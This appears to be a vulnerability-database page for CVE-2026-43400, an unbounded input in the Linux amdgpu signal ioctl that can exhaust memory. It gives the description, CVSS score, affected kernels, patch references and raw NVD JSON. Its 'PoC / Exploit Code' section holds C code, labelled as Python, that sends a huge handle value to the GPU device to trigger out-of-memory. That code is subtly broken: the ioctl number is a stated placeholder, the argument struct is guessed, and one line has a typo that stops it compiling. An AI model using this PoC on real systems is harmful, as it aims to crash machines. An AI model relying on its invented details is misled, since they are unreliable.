CVE-2026-43400

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: add upper bound check on user inputs in signal ioctl Huge input values in amdgpu_userq_signal_ioctl can lead to a OOM and could be exploited. So check these input value against AMDGPU_USERQ_MAX_HANDLES which is big enough value for genuine use cases and could potentially avoid OOM. (cherry picked from commit be267e15f99bc97cbe202cd556717797cdcf79a5)

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

// Placeholder for the actual IOCTL command number
#define DRM_IOCTL_AMDGPU_USERQ_SIGNAL 0x40444501 

// Structure representing the arguments for the vulnerable ioctl
struct amdgpu_userq_signal_args {
    __u64 handle; // The vulnerable input field
    __u32 flags;
    __u32 pad;
};

int main(int argc, char **argv) {
    int fd;
    struct amdgpu_userq_signal_args args;
    const char *device = "/dev/dri/renderD128"; // Typical AMD GPU device path

    // Open the device file
    fd = open(device, O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        returnEXIT_FAILURE;
    }

    memset(&args, 0, sizeof(args));

    // Exploit: Set a huge value to trigger OOM
    // This value bypasses the missing upper bound check
    args.handle = 0xFFFFFFFFFFFFFFFF; 

    printf("Sending malicious payload to trigger OOM...\n");
    
    // Invoke the vulnerable ioctl
    if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_SIGNAL, &args) < 0) {
        perror("Ioctl call failed");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43400
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43400
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43400/
[4] VulDB https://vuldb.com/cve/CVE-2026-43400
[5] https://git.kernel.org/stable/c/46630d966b99b0fc6cb01fef4110587f3375a0c0
[6] https://git.kernel.org/stable/c/6fff5204d8aa26b1be50b6427f833bd3e8899c4f
[7] https://git.kernel.org/stable/c/ea78f8c68f4f6211c557df49174c54d167821962

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43400", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:51.430", "lastModified": "2026-05-21T19:27:02.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: add upper bound check on user inputs in signal ioctl\n\nHuge input values in amdgpu_userq_signal_ioctl can lead to a OOM and\ncould be exploited.\n\nSo check these input value against AMDGPU_USERQ_MAX_HANDLES\nwhich is big enough value for genuine use cases and could\npotentially avoid OOM.\n\n(cherry picked from commit be267e15f99bc97cbe202cd556717797cdcf79a5)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.19", "matchCriteriaId": "F7766422-FDBE-437C-8710-C7F7094B8844"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/46630d966b99b0fc6cb01fef4110587f3375a0c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6fff5204d8aa26b1be50b6427f833bd3e8899c4f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ea78f8c68f4f6211c557df49174c54d167821962", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}